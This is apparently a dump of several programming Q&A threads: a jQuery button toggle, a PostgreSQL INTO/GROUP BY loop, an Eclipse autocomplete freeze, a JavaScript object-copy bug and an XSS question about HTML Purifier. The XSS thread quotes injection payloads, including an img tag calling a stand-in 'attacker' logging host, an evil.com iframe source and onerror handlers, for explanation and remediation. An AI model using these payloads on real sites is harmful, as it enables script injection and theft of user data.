  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" type="text/css" href="../../css/register-dev.css">
    <link rel="stylesheet" href="../../css/activity-registration.css">

      <button type="button" class="btn btn-primary btn-lg" id="btnAdd" onclick="buttonToggle()">
      ADD
       </button>

   <button type="button" class="btn btn-primary btn-lg" id="btnAdd3" onclick="buttonToggle()">
        ADD
    </button>

Body:
It's not good to check for string. What if the text changes to "add" or "Add" or "ADD". Hence, I always recommend to use class and therefore addClass, removeClass and hasClass. Check the below snippet:

$("button").on("click", function() {
  if ($(this).find("b").hasClass('active')) {
    $(this).find("b").text("ADD").removeClass('active');
  } else {
    $(this).find("b").text("ADDED").addClass('active');
  }
});

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/css/bootstrap.min.css" integrity="sha384-rwoIResjU2yc3z8GV/NPeZWAv56rSmLldC3R/AZzGRnGxQQKnKkoFVhFQhNUwEyJ" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

<!-- jQuery first, then Tether, then Bootstrap JS. -->
<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js" integrity="sha384-A7FZj7v+d/sdmMqp/nOQwliLvUsJfDHW+k9Omg/a/EheAdgtzNs3hpfag6Ed950n" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.min.js" integrity="sha384-DztdAPBWPRXSA/3eYEEUWrWCy7G5KFbe8fFjk5JAIxUYHKkDx6Qin1DkWx51bBrb" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.6/js/bootstrap.min.js" integrity="sha384-vBWWzlZJ8ea9aCX4pEW3rVHjgjt7zpkNpZk+02D9phzyeVkE+jo0ieGizqPLForn" crossorigin="anonymous"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

<div class="col">
  <button type="button" class="btn btn-primary btn-lg" id="btnAdd">
     <span><i class="fa fa-plus" aria-hidden="true"></i> <b>ADD</b></span>
       </button>
</div>

<br>
<br>

<div class="col">
  <button type="button" class="btn btn-primary btn-lg" id="btnAdd3">
       <span><i class="fa fa-plus" aria-hidden="true"></i></span> <b>ADD</b>
    </button>
</div>


问:
How to use INTO and GROUP BY clause together
```<code>SELECT cast ( SUBSTRING ( CAST ("ProcessingDate" AS text), 5, 2 ) as integer),
    COUNT(*) INTO resultValue1,resultValue2
FROM "DemoLogs"."Project"
WHERE "Addr" = 'Y' AND "ProcessingDate" >= 20160110
GROUP BY 1
ORDER BY 1;
</code>```

In my database, the ProcessingDate is stored as YYYYMMDD. So, I am extracting its month from it.

This query is working fine if we remove the INTO clause but, I want to store the result to use it further.

So what should be the datatype of the variable resultValue1 and  resultValue2 how to store the data(because data will be multiple).

As I am new to PostgreSQL I don't know how to do this can anybody help me out.

答:
Store the above query in the variable and remove that INTO clause from it.
So, query will be now :

```<code>query = SELECT cast ( SUBSTRING ( CAST ("ProcessingDate" AS text), 5, 2 ) as
        integer),
        COUNT(*)
        FROM "DemoLogs"."Project"
        WHERE "Addr" = 'Y' AND "ProcessingDate" >= 20160110
        GROUP BY 1
        ORDER BY 1;
</code>```

Now declare result_data of type record and use in the following manner:

We are looping over result_data because it gives number of rows as output

and I have declared resultset of type text to store the result (as I needed further)

```<code>FOR result_data IN EXECUTE query
LOOP
     RAISE NOTICE 'result : %',to_json(result_data);
     resultset = resultset || to_json(result_data);
END LOOP;
</code>```

Body:
SELECT cast ( SUBSTRING ( CAST ("ProcessingDate" AS text), 5, 2 ) as integer),
    COUNT(*) INTO resultValue1,resultValue2
FROM "DemoLogs"."Project"
WHERE "Addr" = 'Y' AND "ProcessingDate" >= 20160110
GROUP BY 1
ORDER BY 1;

In my database, the ProcessingDate is stored as YYYYMMDD. So, I am extracting its month from it.

This query is working fine if we remove the INTO clause but, I want to store the result to use it further.

So what should be the datatype of the variable resultValue1 and  resultValue2 how to store the data(because data will be multiple).

As I am new to PostgreSQL I don't know how to do this can anybody help me out.

Body:
Store the above query in the variable and remove that INTO clause from it.
So, query will be now :

query = SELECT cast ( SUBSTRING ( CAST ("ProcessingDate" AS text), 5, 2 ) as
        integer),
        COUNT(*)
        FROM "DemoLogs"."Project"
        WHERE "Addr" = 'Y' AND "ProcessingDate" >= 20160110
        GROUP BY 1
        ORDER BY 1;

Now declare result_data of type record and use in the following manner:

We are looping over result_data because it gives number of rows as output

and I have declared resultset of type text to store the result (as I needed further)

FOR result_data IN EXECUTE query
LOOP
     RAISE NOTICE 'result : %',to_json(result_data);
     resultset = resultset || to_json(result_data);
END LOOP;


问:
Motodev / Eclipse freezes up for several seconds when autofill tooltip proprosal pops up
I recently installed a fresh copy of Motodev. When I type the name of object and a period after it a popup comes up with a list of all of the methods available to that object. Ever since I started using this new copy of Motodev if I have an object with a very large amount of available methods this process freezes the whole program for several seconds.
RelativeLayout and EditText are the two that I have personally noticed that this is a problem with, but I suspect any object that has a large number of methods will cause this. It was never a problem before. Has anyone else seen this issue and if so how did you fix it? I do like having the list pop up so that I can see all of the methods available to me so I'd like to leave that feature turned on if at all possible. </p>

答:
Looks like you figured this out already, but I'll say it for future readers.  There is an update to MOTODEV Studio specifically to work with ADT 8.0.1. There were some API changes in ADT that required us to update Studio also.  ADT 8.0.1 requires Studio 2.0.1, which is based on Eclipse Helios. There are installers on the MOTODEV site as well as an updater for Eclipse.

Because of the complexity of dependencies with all the Eclipse plugins, I suggest to download the .zip archive at MOTODEV rather than using the "Install Updates" method.  I find that I get timeouts quite often at home on broadband that don't happen at work with a bigger pipe.

Also, Studio 2.1 will be available some time within the next week (~Jan 25) and will work with the 2.3 SDK and ADT 8.0.1.

UPDATE: 2/14/11 - It would appear that the correct answer is found at comment #8 in this link: http://code.google.com/p/android/issues/detail?id=7850

Tim will need to formally accept this answer at some point...

Which is as follows:

For those of you with this problem, here's what you can do until the fix is publicly available:

1. Download https://android.googlesource.com/platform/frameworks/base/+archive/<branch>.tar.gz where  is one of those listed here (froyo-release for 2.2, the file is about 113MB): https://android.googlesource.com/platform/frameworks/base/+refs

2. Extract the contents of base/ in the tar into "/platforms/android-/sources" where  is 8 for froyo, 7 for eclair, etc.

3. Enjoy fast content assist in 3.6!


问:
Javascript - An array of object's value used the last value iterated
I am trying to push objects to an empty array, where its x property value incremented on each loop. I used console.log(B.x) to check that it does iterate but even so, each object will have its x property value set to 300

n = 20, therefore, 100 (original x's value) + 10 (iteration) * 20 (loop) = 300

```<code>function createBlocks(n) {
  var blockArray = [];

  var B = {
    x: 100,
    y: 100,
    width: 35,
    height: 35,
    color: "brown"
  }

  for (var i = 0; i < n; i++) {
    blockArray.push(B);
    B.x += 10;
    console.log(B.x);
    console.log(blockArray[i]);
  }
  return blockArray;
}
</code>```

I don't understand why all the objects have the same value (300) for its x's property.

答:
You could use the ES6 spread operator for this also:</p>

```<code>function createBlocks(n) {
  const blockArray = [];

  const B = {
    x: 100,
    y: 100,
    width: 35,
    height: 35,
    color: "brown"
  };

  for (var i = 0; i < n; i++) {
    const temp = { ...B }; // object spread
    blockArray.push(temp);
    B.x += 10;
  }
  return blockArray;
}

createBlocks(20);
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I am trying to push objects to an empty array, where its x property value incremented on each loop. I used console.log(B.x) to check that it does iterate but even so, each object will have its x property value set to 300

n = 20, therefore, 100 (original x's value) + 10 (iteration) * 20 (loop) = 300

function createBlocks(n) {
  var blockArray = [];

  var B = {
    x: 100,
    y: 100,
    width: 35,
    height: 35,
    color: "brown"
  }

  for (var i = 0; i < n; i++) {
    blockArray.push(B);
    B.x += 10;
    console.log(B.x);
    console.log(blockArray[i]);
  }
  return blockArray;
}

I don't understand why all the objects have the same value (300) for its x's property.

Body:
You could use the ES6 spread operator for this also:

function createBlocks(n) {
  const blockArray = [];

  const B = {
    x: 100,
    y: 100,
    width: 35,
    height: 35,
    color: "brown"
  };

  for (var i = 0; i < n; i++) {
    const temp = { ...B }; // object spread
    blockArray.push(temp);
    B.x += 10;
  }
  return blockArray;
}

createBlocks(20);


问:
XSS vulnerabilities still exist even after using HTML Purifier
I'm testing one of my web application using Acunetix. To protect this project against XSS attacks, I used HTML Purifier. This library is recommended by most of PHP developers for this purpose, but my scan results shows HTML Purifier can not protect us from XSS attacks completely. The scanner found two ways of attack by sending different harmful inputs:

1<img sRc='http://attacker-9437/log.php? (See HTML Purifier result here)

1"onmouseover=vVF3(9185)" (See HTML Purifier result here)

As you can see results, HTML Purifier could not detect such attacks. I don't know if is there any specific option on HTML Purifier to solve such problems, or is it really unable to detect these methods of XSS attacks.

Do you have any idea? Or any other solution?

答:
All the HTML purifier seems to be doing, from the brief look that I gave, was HTML encode certain characters such as <, > and so on. However there are other means of invoking JS without using the normal HTML characters:

```<code>javascript:prompt(1)  // In image tags
src="http://evil.com/xss.html"  // In iFrame tags
</code>```

Please review comments (by @pinkgothic) below.

Points below:

This would be HTML injection which does effectively lead to XSS. In this case, you open an  tag, point the src to some non-existent file which in turn raises an error. That can then be handled by the onerror handler to run some JavaScript code. Take the following example:

The entrypoint for this it generally accompanied by prematurely closing another tag on an input. For example (URL decoded for clarity):

```<code>GET /products.php?type="><img src=x onerror=prompt(1)> HTTP/1.1
</code>```

This however, is easily mititgated by HTML escaping meta-character (i.e. <, >).

Same as above, except this could be closing off an HTML attribute instead of a tag and inserting its own attribute. Say you have a page where you can upload the URL for an image:

A normal example would be:

However, inserting the above payload, we cut off the src attribute which points to a non-existent file and inject an onerror handler:

This executes the same payload mentioned above.

Remediation

This is heavily documented and tested in multiple places, so I won't go into detail. However, the following two articles are great on the subject and will cover all your needs:

https://www.acunetix.com/websitesecurity/cross-site-scripting/

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Body:
I'm testing one of my web application using Acunetix. To protect this project against XSS attacks, I used HTML Purifier. This library is recommended by most of PHP developers for this purpose, but my scan results shows HTML Purifier can not protect us from XSS attacks completely. The scanner found two ways of attack by sending different harmful inputs:

1<img sRc='http://attacker-9437/log.php? (See HTML Purifier result <a href="http://htmlpurifier.org/demo.php?filter%5BAutoFormat.AutoParagraph%5D=0&filter%5BAutoFormat.DisplayLinkURI%5D=0&filter%5BAutoFormat.Linkify%5D=0&filter%5BAutoFormat.RemoveEmpty.Predicate%5D=colgroup%3A%0D%0Ath%3A%0D%0Atd%3A%0D%0Aiframe%3Asrc%0D%0A&filter%5BAutoFormat.RemoveEmpty%5D=0&filter%5BAutoFormat.RemoveSpansWithoutAttributes%5D=0&filter%5BNull_CSS.AllowedProperties%5D=1&filter%5BCore.CollectErrors%5D=0&filter%5BNull_HTML.Allowed%5D=1&filter%5BNull_HTML.Doctype%5D=1&filter%5BHTML.SafeObject%5D=0&filter%5BHTML.TidyLevel%5D=medium&filter%5BURI.DisableExternalResources%5D=0&filter%5BNull_URI.Munge%5D=1&html=1%3Cimg%20sRc%3D%27http%3A%2F%2Fattacker-9437%2Flog.php%3F&submit=Submit" rel="nofollow noreferrer">here)

1"onmouseover=vVF3(9185)" (See HTML Purifier result <a href="http://htmlpurifier.org/demo.php?filter%5BAutoFormat.AutoParagraph%5D=0&filter%5BAutoFormat.DisplayLinkURI%5D=0&filter%5BAutoFormat.Linkify%5D=0&filter%5BAutoFormat.RemoveEmpty.Predicate%5D=colgroup%3A%0D%0Ath%3A%0D%0Atd%3A%0D%0Aiframe%3Asrc%0D%0A&filter%5BAutoFormat.RemoveEmpty%5D=0&filter%5BAutoFormat.RemoveSpansWithoutAttributes%5D=0&filter%5BNull_CSS.AllowedProperties%5D=1&filter%5BCore.CollectErrors%5D=0&filter%5BNull_HTML.Allowed%5D=1&filter%5BNull_HTML.Doctype%5D=1&filter%5BHTML.SafeObject%5D=0&filter%5BHTML.TidyLevel%5D=medium&filter%5BURI.DisableExternalResources%5D=0&filter%5BNull_URI.Munge%5D=1&html=1%22onmouseover%3DvVF3%289185%29%22&submit=Submit" rel="nofollow noreferrer">here)

As you can see results, HTML Purifier could not detect such attacks. I don't know if is there any specific option on HTML Purifier to solve such problems, or is it really unable to detect these methods of XSS attacks.

Do you have any idea? Or any other solution?

Body:
All the HTML purifier seems to be doing, from the brief look that I gave, was HTML encode certain characters such as <, > and so on. However there are other means of invoking JS without using the normal HTML characters:

javascript:prompt(1)  // In image tags
src="http://evil.com/xss.html"  // In iFrame tags

Please review comments (by @pinkgothic) below.

Points below:

This would be HTML injection which does effectively lead to XSS. In this case, you open an <img> tag, point the src to some non-existent file which in turn raises an error. That can then be handled by the onerror handler to run some JavaScript code. Take the following example:

<img src=x onerror=alert(document.domain)>

The entrypoint for this it generally accompanied by prematurely closing another tag on an input. For example (URL decoded for clarity):

GET /products.php?type="><img src=x onerror=prompt(1)> HTTP/1.1

This however, is easily mititgated by HTML escaping meta-character (i.e. <, >).

Same as above, except this could be closing off an HTML attribute instead of a tag and inserting its own attribute. Say you have a page where you can upload the URL for an image:

<img src="$USER_DEFINED">

A normal example would be:

<img src="http://example.com/img.jpg">

However, inserting the above payload, we cut off the src attribute which points to a non-existent file and inject an onerror handler:

<img src="1"onerror=alert(document.domain)">

This executes the same payload mentioned above.

Remediation

This is heavily documented and tested in multiple places, so I won't go into detail. However, the following two articles are great on the subject and will cover all your needs:

https://www.acunetix.com/websitesecurity/cross-site-scripting/

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet